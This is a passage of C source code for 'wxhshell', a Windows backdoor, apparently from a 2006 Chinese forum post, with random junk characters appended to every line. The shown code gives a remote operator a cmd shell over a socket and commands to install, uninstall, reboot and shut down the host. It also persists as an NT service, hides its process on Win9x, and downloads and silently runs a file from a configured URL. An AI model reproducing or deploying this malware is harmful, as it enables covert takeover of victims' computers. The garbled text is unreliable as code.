  case '?': { +|C[-W7Sw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :J(sXKr[C  
    break; @PcCiGZ  
  } nJVp.*S  
  // 安装 {(vOt'  
  case 'i': { zd`=Ih2Wx  
    if(Install()) Gz dgL"M[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .T3=Eq&"W  
    else Z%v6xP.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jFj~]]j  
    break; D&[Z;,CHMA  
    } [{PqV):p  
  // 卸载 E5B8 Z?$a  
  case 'r': { 4=p@2g2"H  
    if(Uninstall()) }#b %"I0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b4~H3|  
    else If}lJ6jZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;1LG&h,K  
    break; KP~-$NR  
    } !.+"4TF  
  // 显示 wxhshell 所在路径 &jJckT  
  case 'p': { =FBIrw{w  
    char svExeFile[MAX_PATH]; t]TyXAr~  
    strcpy(svExeFile,"\n\r"); )DZTB  
      strcat(svExeFile,ExeFile); 1-$P0  
        send(wsh,svExeFile,strlen(svExeFile),0); Tj,2r]g`<  
    break; ,ZK]i CGk  
    } b]`^KTYK  
  // 重启 Jqg3.2q  
  case 'b': { d1NE%hg3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aii'}c  
    if(Boot(REBOOT)) &`PbO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j+1KNH  
    else { YkbO&~.  
    closesocket(wsh); DM2Q1Dh3  
    ExitThread(0); $'$>UFR  
    } R|t;p!T  
    break; #,P(isEZ"  
    } $GF&x>]]  
  // 关机 HIPL!ss]  
  case 'd': { kGD|c=K}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mG}k 3e-  
    if(Boot(SHUTDOWN)) `D)S-7BR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +(AwSh!  
    else { @9_)On9hZ  
    closesocket(wsh); MhH);fn  
    ExitThread(0); Z1]"[U[;  
    } q)Je.6$#X  
    break; WOH9%xv  
    } l%bq2,-%  
  // 获取shell fNEz  
  case 's': { |E|T%i^}./  
    CmdShell(wsh); qP`?M\!O  
    closesocket(wsh); /\~W$.c  
    ExitThread(0); M,L@k  
    break; 3*\8p6G  
  } dP3VJ3+ %  
  // 退出 t~~r-V":  
  case 'x': { kGj]i@(PA4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8OBF^r44R  
    CloseIt(wsh); g*r/u;  
    break; STp!8mL  
    } 2;R/.xI6v  
  // 离开 W^ClHQ"Iy  
  case 'q': { X)NWX9^;'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t>@yv#  
    closesocket(wsh); D'?]yyrf  
    WSACleanup(); G4"lZM  
    exit(1); 0nT%Slbih  
    break; ct.Bg)E  
        } YUS?]~XC7x  
  } 165WO}(;/  
  } s'AQUUrb <  
D`fc7m  
  // 提示信息 Wbs^(iUU}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9!S^^;PN&  
} *lY+Yy(  
  } cqHw^{'8  
vK`S!7x'&  
  return; oP,RlR  
} Ebbe=4  
&}|0CR.(  
// shell模块句柄 \y,; Cfl<  
int CmdShell(SOCKET sock) i/M+t~   
{ "9 u-lcQ\  
STARTUPINFO si; Z#LUez;&t#  
ZeroMemory(&si,sizeof(si)); I`#EhH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p1uN ]T7>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gx#J%k,f  
PROCESS_INFORMATION ProcessInfo; :X|AW?*  
char cmdline[]="cmd"; AYYRxhv_,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7ozYq_ $  
  return 0; TwwIt5_fN  
} 1+FYjh!2t  
]t7ClT)n!  
// 自身启动模式 w=gQ3j#s  
int StartFromService(void) U!_sh<  
{ ] :GfOgo  
typedef struct 6e&g$ R v  
{ Rgs3A)[`d/  
  DWORD ExitStatus; `-5cQ2>"  
  DWORD PebBaseAddress; s/\XH&KR3V  
  DWORD AffinityMask; ~"RQ!&U  
  DWORD BasePriority; qY# m*R  
  ULONG UniqueProcessId; R$ v i!0  
  ULONG InheritedFromUniqueProcessId; TLX^~W[gOm  
}   PROCESS_BASIC_INFORMATION; 7:ckq(89  
v7g [Lk  
PROCNTQSIP NtQueryInformationProcess; h FDze  
oNrEIgaA(+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [6tR&D #K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G@;Nz i89  
Sq.9-h%5  
  HANDLE             hProcess; *j/ uihY  
  PROCESS_BASIC_INFORMATION pbi; M44_us  
kaV%0Of]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }t}38%1i  
  if(NULL == hInst ) return 0; M2a}x+5'  
[6oq##  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W6h NJb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jDFp31_X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J,6!7a  
Bfu/9ad  
  if (!NtQueryInformationProcess) return 0; ![qRoYpbg8  
Mi_[9ku>%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9#s,K! !3{  
  if(!hProcess) return 0; nz}]C04:-  
J: L-15  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5X0_+DdeL  
mMn2(  
  CloseHandle(hProcess); bbM4A! N  
.Y+mwvLpRG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \-DM-NrZ1U  
if(hProcess==NULL) return 0; 1 VPg`+o  
U<1}I.hDJ  
HMODULE hMod; +'!h-x1y~  
char procName[255]; :17ee  
unsigned long cbNeeded; gCjH%=s  
R>^5$[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1{= E ?  
x|&[hFXD  
  CloseHandle(hProcess); ux)<&p.  
f|;HS!$  
if(strstr(procName,"services")) return 1; // 以服务启动 p!.  /  
F%w\D9+P  
  return 0; // 注册表启动 E `?S!*jm  
} &;'w8_K"^  
W,0KBkkp  
// 主模块 8/Lu'rI  
int StartWxhshell(LPSTR lpCmdLine) ajf_)G5X P  
{ [^cs~ n4  
  SOCKET wsl; ")fOup@ ^a  
BOOL val=TRUE; ? +5" %4o  
  int port=0; g-4gI\  
  struct sockaddr_in door; 4;B= Qoxe  
/5Gnb.zN)  
  if(wscfg.ws_autoins) Install(); 1uK)1%vK  
H57jBD  
port=atoi(lpCmdLine); l6r%nHP@  
[N'r3  
if(port<=0) port=wscfg.ws_port; d#x8O4S%i2  
nhB^Xr=  
  WSADATA data; 37.) @  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?z*W8b]'  
j 8~Gv=(h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y}eZPG.h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;igE IGR  
  door.sin_family = AF_INET; 11nO<WH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $`cy'ZaF  
  door.sin_port = htons(port); s|Imz<IE  
Yb,G^+;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S(q4OQ B{  
closesocket(wsl); e7)>U!9c9  
return 1; z:@d@\$?  
} +]aD^N9['  
VQZT.^  
  if(listen(wsl,2) == INVALID_SOCKET) { bQ${8ZO  
closesocket(wsl); Udb0&Y1^  
return 1; pO-)x:Wg  
} gDUoc*+h  
  Wxhshell(wsl); s (l+{b &  
  WSACleanup(); tSw~_s_V  
B8P@D"u  
return 0; Dg?Ho2ih  
@U7U?.p  
} {EiG23!qV  
}W Bm%f  
// 以NT服务方式启动 T%z!+/=&^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L%=BCmMx  
{ 2n"*)3Qj  
DWORD   status = 0; oW\Q>c7 =  
  DWORD   specificError = 0xfffffff; 5d!z<{`  
fb;hf:B:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U O{xpY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d1C/u@8^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )%-\hl]  
  serviceStatus.dwWin32ExitCode     = 0; 4cv|ok8P  
  serviceStatus.dwServiceSpecificExitCode = 0; ^@l5u=  
  serviceStatus.dwCheckPoint       = 0; E!O(:/*  
  serviceStatus.dwWaitHint       = 0; kiBOyC!r6  
r' 97\|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r(`8A:#d  
  if (hServiceStatusHandle==0) return; jHUz`.8B  
:Kt mSY  
status = GetLastError(); }J4BxBuV8  
  if (status!=NO_ERROR) AmrJ_YP/t~  
{ 3oNt]2w/'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wE.@0  
    serviceStatus.dwCheckPoint       = 0; noD7G2o  
    serviceStatus.dwWaitHint       = 0; `s|\" @2  
    serviceStatus.dwWin32ExitCode     = status; +eH=;8  
    serviceStatus.dwServiceSpecificExitCode = specificError; (\AszLW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iIC9rso"Q1  
    return; 9h)P8B.>M  
  } ).@)t:uNa  
!*$'fn'bAA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ! Dhfr{  
  serviceStatus.dwCheckPoint       = 0; eQ4B5B%j/x  
  serviceStatus.dwWaitHint       = 0; \t 7zMp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +q>C}9s3  
} &  t @  
x Ps& CyI  
// 处理NT服务事件,比如:启动、停止 ! a8h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Av[|.~g  
{ LO Yyj?^7  
switch(fdwControl) !'UsC6Y4  
{ Iclan\q#y  
case SERVICE_CONTROL_STOP: 'TEwU0<%  
  serviceStatus.dwWin32ExitCode = 0; .Jnp{Tet  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3k|~tVM  
  serviceStatus.dwCheckPoint   = 0; 2{Lc^6i(t  
  serviceStatus.dwWaitHint     = 0; LVz%$Cq,0  
  { }9fV[zO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  4pOc`  
  } !IrKou)/_  
  return; Kk"B501  
case SERVICE_CONTROL_PAUSE: |cBF-KNZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I "+|cFq.  
  break; 1OJD\wc  
case SERVICE_CONTROL_CONTINUE: [pyXX>:M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c~u F  
  break; j^R~ Lt4  
case SERVICE_CONTROL_INTERROGATE: -_H2FlB  
  break; 6!Ap;O^*  
}; yW7S }I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y)-)NLLG;n  
} P+ h<{%:*  
l2_E6U"  
// 标准应用程序主函数 5&7?0h+I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RM=+ZmA  
{ xsypIbN  
A_$Mt~qKi^  
// 获取操作系统版本 W,eKQV<j  
OsIsNt=GetOsVer(); */@bNT9BgO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OA5md9P;d  
T;vPR,]rz  
  // 从命令行安装 &JzF   
  if(strpbrk(lpCmdLine,"iI")) Install(); &-. eu  
97=YFK~*  
  // 下载执行文件 1Yx[,GyC>&  
if(wscfg.ws_downexe) { ry<}DK<u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ik2szXh[J  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^i,0n}>  
} 7'l{I'Z  
x#xO {  
if(!OsIsNt) { x>/@Z6Wxz  
// 如果时win9x,隐藏进程并且设置为注册表启动 nJ`a1L{N  
HideProc(); Yka yT0!  
StartWxhshell(lpCmdLine); OKH~Y-%<  
} InGbV+ I  
else lb XkZ,  
  if(StartFromService()) sA7K ;J})  
  // 以服务方式启动 rG'k<X~7  
  StartServiceCtrlDispatcher(DispatchTable); ?z36mj"`o  
else i /U{dzZ  
  // 普通方式启动 t 1'or  
  StartWxhshell(lpCmdLine); $@!&ML  
?^A:~"~  
return 0; ,lGwW8$R  
}
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只看该作者 1 发表于: 2006-10-10
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